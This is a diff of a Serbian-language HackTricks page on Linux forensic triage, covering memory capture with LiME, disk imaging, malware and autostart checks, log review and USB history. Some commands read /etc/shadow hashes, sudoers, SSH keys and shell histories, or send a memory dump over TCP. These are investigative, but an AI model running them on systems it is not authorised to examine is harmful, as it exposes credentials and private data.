* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Početno prikupljanje informacija
|
||||
## Inicijalno prikupljanje informacija
|
||||
|
||||
### Osnovne informacije
|
||||
|
||||
Prvo, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno preuzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib_ i _/lib64_), zatim montirajte USB i izmenite okruženjske promenljive da biste koristili te binarne fajlove:
|
||||
Pre svega, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno uzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib_ i _/lib64_), zatim montirajte USB, i izmenite okružne promenljive da biste koristili te binarne fajlove:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Jednom kada ste konfigurisali sistem da koristi dobre i poznate binarne datoteke, možete početi **izvlačiti osnovne informacije**:
|
||||
Kada ste konfigurisali sistem da koristi dobre i poznate binarne datoteke, možete početi **izvlačiti osnovne informacije**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
|
@ -51,23 +51,23 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
```
|
||||
#### Sumnjive informacije
|
||||
|
||||
Prilikom dobijanja osnovnih informacija trebali biste proveriti čudne stvari kao što su:
|
||||
Prilikom dobijanja osnovnih informacija trebalo bi da proverite čudne stvari kao što su:
|
||||
|
||||
* **Root procesi** obično se izvršavaju sa niskim PID-om, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
|
||||
* Proverite **registrovane prijave** korisnika bez ljuske unutar `/etc/passwd`
|
||||
* Proverite da li postoje **hešovi lozinki** unutar `/etc/shadow` za korisnike bez ljuske
|
||||
- **Root procesi** obično se izvršavaju sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
|
||||
- Proverite **registrovane prijave** korisnika bez ljuske unutar `/etc/passwd`
|
||||
- Proverite **hash-ove lozinki** unutar `/etc/shadow` za korisnike bez ljuske
|
||||
|
||||
### Damp memorije
|
||||
|
||||
Da biste dobili memoriju pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Da biste ga **kompajlirali**, morate koristiti **istu kernel verziju** koju koristi žrtvena mašina.
|
||||
Za dobijanje memorije pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi mašina žrtva.
|
||||
|
||||
{% hint style="info" %}
|
||||
Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na žrtvenoj mašini jer će to izazvati nekoliko promena na njoj.
|
||||
Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će napraviti nekoliko promena na njoj
|
||||
{% endhint %}
|
||||
|
||||
Dakle, ako imate identičnu verziju Ubuntu-a, možete koristiti `apt-get install lime-forensics-dkms`\
|
||||
U drugim slučajevima, morate preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa odgovarajućim kernel zaglavljima. Da biste **dobili tačna kernel zaglavlja** žrtvene mašine, jednostavno **kopirajte direktorijum** `/lib/modules/<kernel verzija>` na vašu mašinu, a zatim **kompajlirajte** LiME koristeći ih:
|
||||
Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\
|
||||
U drugim slučajevima, morate preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa odgovarajućim kernel headerima. Da biste **dobili tačne kernel headere** mašine žrtve, jednostavno **kopirajte direktorijum** `/lib/modules/<kernel verzija>` na svoju mašinu, a zatim **kompajlirajte** LiME koristeći ih:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
|
@ -78,16 +78,16 @@ LiME podržava 3 **formata**:
|
|||
* Padded (isti kao sirovi, ali sa nulama na desnoj strani)
|
||||
* Lime (preporučeni format sa metapodacima)
|
||||
|
||||
LiME se takođe može koristiti za **slanje dumpa preko mreže** umesto da se čuva na sistemu koristeći nešto poput: `path=tcp:4444`
|
||||
LiME takođe može biti korišćen za **slanje ispisa putem mreže** umesto čuvanja na sistemu korišćenjem nečega poput: `path=tcp:4444`
|
||||
|
||||
### Snimanje diska
|
||||
|
||||
#### Gašenje
|
||||
|
||||
Prvo, moraćete **ugasiti sistem**. To nije uvek opcija jer će neki sistemi biti serverski sistemi koje kompanija ne može da priušti da isključi.\
|
||||
Postoje **2 načina** za gašenje sistema, **normalno gašenje** i **isključivanje iz struje**. Prvi način će omogućiti **procesima da se završe kao i obično** i da se **fajl sistem sinhronizuje**, ali će takođe omogućiti mogućem **malveru da uništi dokaze**. Pristup "isključivanje iz struje" može dovesti do **gubitka nekih informacija** (neće biti izgubljeno mnogo informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da bilo šta uradi u vezi toga. Dakle, ako **sumnjate** da postoji **malver**, samo izvršite **`sync`** **komandu** na sistemu i isključite ga iz struje.
|
||||
Prvo, moraćete **ugasiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da priušti da isključi.\
|
||||
Postoje **2 načina** gašenja sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će omogućiti **procesima da se završe kao i obično** i **datotečnom sistemu** da se **sinhronizuje**, ali će takođe omogućiti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti mnogo izgubljenih informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da bilo šta uradi povodom toga. Stoga, ako **sumnjate** da može biti **malvera**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač.
|
||||
|
||||
#### Snimanje slike diska
|
||||
#### Pravljenje slike diska
|
||||
|
||||
Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim što je povezano sa slučajem**, morate biti sigurni da će biti **montiran samo za čitanje** kako biste izbegli menjanje bilo kakvih informacija.
|
||||
```bash
|
||||
|
@ -98,7 +98,7 @@ dd if=<subject device> of=<image file> bs=512
|
|||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### Preanaliza slike diska
|
||||
### Predanaliza slike diska
|
||||
|
||||
Kreiranje slike diska bez dodatnih podataka.
|
||||
```bash
|
||||
|
@ -153,24 +153,24 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Pretraga poznatih malvera
|
||||
## Pretraga poznatih Malvera
|
||||
|
||||
### Modifikovane sistemsko datoteke
|
||||
### Modifikovane sistem datoteke
|
||||
|
||||
Linux nudi alate za osiguravanje integriteta sistemskih komponenti, što je ključno za otkrivanje potencijalno problematičnih datoteka.
|
||||
Linux nudi alate za osiguravanje integriteta sistemskih komponenti, ključnih za otkrivanje potencijalno problematičnih datoteka.
|
||||
|
||||
- **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru.
|
||||
- **Sistemi zasnovani na Debian-u**: `dpkg --verify` za početnu verifikaciju, a zatim `debsums | grep -v "OK$"` (nakon instaliranja `debsums` sa `apt-get install debsums`) da biste identifikovali bilo kakve probleme.
|
||||
* **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru.
|
||||
* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za početnu verifikaciju, zatim `debsums | grep -v "OK$"` (nakon instaliranja `debsums` sa `apt-get install debsums`) da identifikujete bilo kakve probleme.
|
||||
|
||||
### Detektori malvera/rootkita
|
||||
### Detektori Malvera/Rootkita
|
||||
|
||||
Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malvera:
|
||||
|
||||
|
@ -180,13 +180,12 @@ Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni
|
|||
|
||||
## Pretraga instaliranih programa
|
||||
|
||||
Da biste efikasno pretraživali instalirane programe na Debian i RedHat sistemima, razmotrite korišćenje sistemskih logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
|
||||
Da biste efikasno pretraživali instalirane programe na Debian i RedHat sistemima, razmotrite korišćenje sistema logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
|
||||
|
||||
- Za Debian, pregledajte **_`/var/lib/dpkg/status`_** i **_`/var/log/dpkg.log`_** da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje određenih informacija.
|
||||
* Za Debian, pregledajte _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija.
|
||||
* Korisnici RedHat-a mogu upitati RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi dobili listu instaliranih paketa.
|
||||
|
||||
- Korisnici RedHat-a mogu upitati RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi dobili listu instaliranih paketa.
|
||||
|
||||
Da biste otkrili softver koji je instaliran ručno ili izvan ovih upravljača paketa, istražite direktorijume poput **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_** i **_`/sbin`_**. Kombinujte listu direktorijuma sa sistemskim komandama kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, poboljšavajući tako pretragu svih instaliranih programa.
|
||||
Da biste otkrili softver instaliran ručno ili van ovih upravljača paketima, istražite direktorijume poput _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte listanje direktorijuma sa sistemskim komandama kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, unapređujući tako pretragu svih instaliranih programa.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
|
@ -202,23 +201,23 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
|||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** koji se pokreću najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Vraćanje obrisanih pokrenutih binarnih fajlova
|
||||
|
||||
Zamislite proces koji je pokrenut iz /tmp/exec i obrisan. Moguće je izvući ga
|
||||
Zamislite proces koji je izvršen iz /tmp/exec i obrisan. Moguće je izvući ga
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## Pregledajte lokacije automatskog pokretanja
|
||||
## Pregled lokacija automatskog pokretanja
|
||||
|
||||
### Zakazani zadaci
|
||||
```bash
|
||||
|
@ -236,93 +235,92 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
```
|
||||
### Servisi
|
||||
|
||||
Putanje gde se malver može instalirati kao servis:
|
||||
Putanje gde se zlonamerni softver može instalirati kao servis:
|
||||
|
||||
- **/etc/inittab**: Poziva skripte za inicijalizaciju kao što je rc.sysinit, usmeravajući dalje ka skriptama za pokretanje.
|
||||
- **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se ova druga nalazi u starijim verzijama Linuxa.
|
||||
- **/etc/init.d/**: Koristi se u određenim verzijama Linuxa kao što je Debian za skladištenje skripti za pokretanje.
|
||||
- Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, zavisno o varijanti Linuxa.
|
||||
- **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u više korisničkom nivou.
|
||||
- **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana.
|
||||
- **~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skriveno mesto za malver usmeren na korisnika.
|
||||
- **/lib/systemd/system/**: Univerzalni fajlovi jedinica za ceo sistem koje obezbeđuju instalirani paketi.
|
||||
* **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje.
|
||||
* **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se ove potonje nalaze u starijim verzijama Linuxa.
|
||||
* **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje.
|
||||
* Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, zavisno od varijante Linuxa.
|
||||
* **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa.
|
||||
* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou.
|
||||
* **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana.
|
||||
* **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za zlonamerni softver usmeren ka korisniku.
|
||||
* **/lib/systemd/system/**: Podrazumevane sistemski široko dostupne datoteke jedinica koje pružaju instalirani paketi.
|
||||
|
||||
### Kernel Moduli
|
||||
|
||||
### Kernel moduli
|
||||
Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke ključni za ove module uključuju:
|
||||
|
||||
Kernel moduli Linuxa, često korišćeni od strane malvera kao komponente rootkita, se učitavaju prilikom pokretanja sistema. Direktorijumi i fajlovi koji su ključni za ove module uključuju:
|
||||
* **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela.
|
||||
* **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
|
||||
* **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalna podešavanja modula.
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Sadrži module za trenutnu verziju kernela.
|
||||
- **/etc/modprobe.d**: Sadrži konfiguracione fajlove za kontrolu učitavanja modula.
|
||||
- **/etc/modprobe** i **/etc/modprobe.conf**: Fajlovi za globalna podešavanja modula.
|
||||
### Ostale Lokacije za Automatsko Pokretanje
|
||||
|
||||
### Ostale lokacije za automatsko pokretanje
|
||||
Linux koristi različite datoteke za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući zlonamerni softver:
|
||||
|
||||
Linux koristi različite fajlove za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući malver:
|
||||
* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom svake prijave korisnika.
|
||||
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave.
|
||||
* **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju.
|
||||
|
||||
- **/etc/profile.d/***, **/etc/profile** i **/etc/bash.bashrc**: Izvršavaju se prilikom prijave bilo kog korisnika.
|
||||
- **~/.bashrc**, **~/.bash_profile**, **~/.profile** i **~/.config/autostart**: Fajlovi specifični za korisnika koji se pokreću prilikom njihove prijave.
|
||||
- **/etc/rc.local**: Pokreće se nakon što su svi sistemski servisi pokrenuti, označavajući kraj prelaska na više korisničko okruženje.
|
||||
## Pregledajte Logove
|
||||
|
||||
## Pregledajte logove
|
||||
Linux sistemi prate aktivnosti korisnika i događaje sistema putem različitih log datoteka. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih sigurnosnih incidenata. Ključne log datoteke uključuju:
|
||||
|
||||
Linux sistemi prate aktivnosti korisnika i događaje na sistemu putem različitih log fajlova. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija malverom i drugih sigurnosnih incidenata. Ključni log fajlovi uključuju:
|
||||
|
||||
- **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju poruke i aktivnosti na nivou sistema.
|
||||
- **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
|
||||
- Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` da biste filtrirali relevantne događaje autentifikacije.
|
||||
- **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
|
||||
- **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje email-related servisa.
|
||||
- **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja.
|
||||
- **/var/log/dmesg**: Sadrži poruke upravljača uređaja.
|
||||
- **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istrazi sigurnosnih incidenata.
|
||||
- **/var/log/cron**: Beleži izvršavanje cron poslova.
|
||||
- **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa.
|
||||
- **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave.
|
||||
- **/var/log/httpd/**: Sadrži Apache HTTPD logove o greškama i pristupu.
|
||||
- **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
|
||||
- **/var/log/xferlog**: Beleži FTP prenose fajlova.
|
||||
- **/var/log/**: Uvek proverite da li postoje neočekivani logovi ovde.
|
||||
* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti.
|
||||
* **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
|
||||
* Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja.
|
||||
* **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
|
||||
* **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje usluga povezanih sa email-om.
|
||||
* **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja.
|
||||
* **/var/log/dmesg**: Drži poruke upravljača uređaja.
|
||||
* **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istraživanju sigurnosnih incidenata.
|
||||
* **/var/log/cron**: Beleži izvršavanja cron poslova.
|
||||
* **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa.
|
||||
* **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave.
|
||||
* **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
|
||||
* **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
|
||||
* **/var/log/xferlog**: Zapisuje FTP prenose fajlova.
|
||||
* **/var/log/**: Uvek proverite ovde za neočekivane logove.
|
||||
|
||||
{% hint style="info" %}
|
||||
Logovi sistema Linuxa i podsistemi za nadzor mogu biti onemogućeni ili obrisani tokom napada ili incidenata sa malverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih redovno brišu. Stoga, prilikom pregleda dostupnih log fajlova, važno je tražiti praznine ili ulazne zapise koji su van reda, što može ukazivati na brisanje ili manipulaciju.
|
||||
Linux sistemi logove i podsisteme za reviziju mogu biti onemogućeni ili obrisani u slučaju upada ili zlonamernog softvera. Pošto logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log datoteka, važno je tražiti praznine ili vanredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
|
||||
{% endhint %}
|
||||
|
||||
**Linux čuva istoriju komandi za svakog korisnika**, smeštenu u:
|
||||
|
||||
- ~/.bash_history
|
||||
- ~/.zsh_history
|
||||
- ~/.zsh_sessions/*
|
||||
- ~/.python_history
|
||||
- ~/.*_history
|
||||
* \~/.bash\_history
|
||||
* \~/.zsh\_history
|
||||
* \~/.zsh\_sessions/\*
|
||||
* \~/.python\_history
|
||||
* \~/.\*\_history
|
||||
|
||||
Osim toga, komanda `last -Faiwx` pruža listu prijava korisnika. Proverite je za nepoznate ili neočekivane prijave.
|
||||
Takođe, komanda `last -Faiwx` pruža listu korisničkih prijava. Proverite je za nepoznate ili neočekivane prijave.
|
||||
|
||||
Proverite fajlove koji mogu dodeliti dodatne privilegije:
|
||||
Proverite datoteke koje mogu dati dodatne privilegije:
|
||||
|
||||
- Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||
- Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||
- Ispitajte `/etc/groups` da biste identifikovali neobična članstva u grupama ili dozvole.
|
||||
- Ispitajte `/etc/passwd` da biste identifikovali neobična članstva u grupama ili dozvole.
|
||||
* Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||
* Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||
* Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
|
||||
* Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
|
||||
|
||||
Neke aplikacije takođe generišu sopstvene logove:
|
||||
Neki programi takođe generišu svoje logove:
|
||||
|
||||
- **SSH**: Pregledajte _~/.ssh/authorized_keys_ i _~/.ssh/known_hosts_ za neovlaštene udaljene konekcije.
|
||||
- **Gnome Desktop**: Pogledajte _~/.recently-used.xbel_ za nedavno pristupane fajlove putem Gnome aplikacija.
|
||||
- **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _~/.mozilla/firefox_ ili _~/.config/google-chrome_ za sumnjive aktivnosti.
|
||||
- **VIM**: Pregledajte _~/.viminfo_ za detalje o korišćenju, kao što su putanje do pristupanih fajlova i istorija pretrage.
|
||||
- **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove.
|
||||
- **FTP/SFTP**: Pregledajte logove u _~/.ftp_history_ ili _~/.sftp_history_ za prenose fajlova koji mogu biti neovlašćeni.
|
||||
- **MySQL**: Istražite _~/.mysql_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti na bazi podataka.
|
||||
- **Less**: Analizirajte _~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande.
|
||||
- **Git**: Pregledajte _~/.gitconfig_ i _.git/logs_ projekta za promene u repozitorijumima.
|
||||
* **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
|
||||
* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupljene fajlove putem Gnome aplikacija.
|
||||
* **Firefox/Chrome**: Proverite istoriju pretrage i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
|
||||
* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih fajlova i istorije pretrage.
|
||||
* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove.
|
||||
* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose fajlova koji bi mogli biti neovlašćeni.
|
||||
* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti u bazi podataka.
|
||||
* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande.
|
||||
* **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
|
||||
|
||||
### USB logovi
|
||||
### USB Logovi
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji analizira Linux log fajlove (`/var/log/syslog*` ili `/var/log/messages*` zavisno od distribucije) kako bi konstruisao tabele istorije događaja sa USB uređajima.
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja.
|
||||
|
||||
Interesantno je **znati sve USB uređaje koji su korišćeni**, a biće korisno ako imate autorizovanu listu USB uređaja kako biste pronašli "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
|
||||
Važno je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate autorizovanu listu USB uređaja kako biste pronašli "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
|
||||
|
||||
### Instalacija
|
||||
```bash
|
||||
|
@ -337,83 +335,77 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
|
|||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
Više primera i informacija možete pronaći na Github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
Više primera i informacija možete pronaći na github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i automatizovali radne tokove uz pomoć najnaprednijih alata zajednice.\
|
||||
Danas dobijte pristup:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** podržane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Pregled Korisničkih Računa i Aktivnosti Prijavljivanja
|
||||
|
||||
Pregledajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neuobičajena imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade putem sudo-a.\
|
||||
Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije date korisnicima.\
|
||||
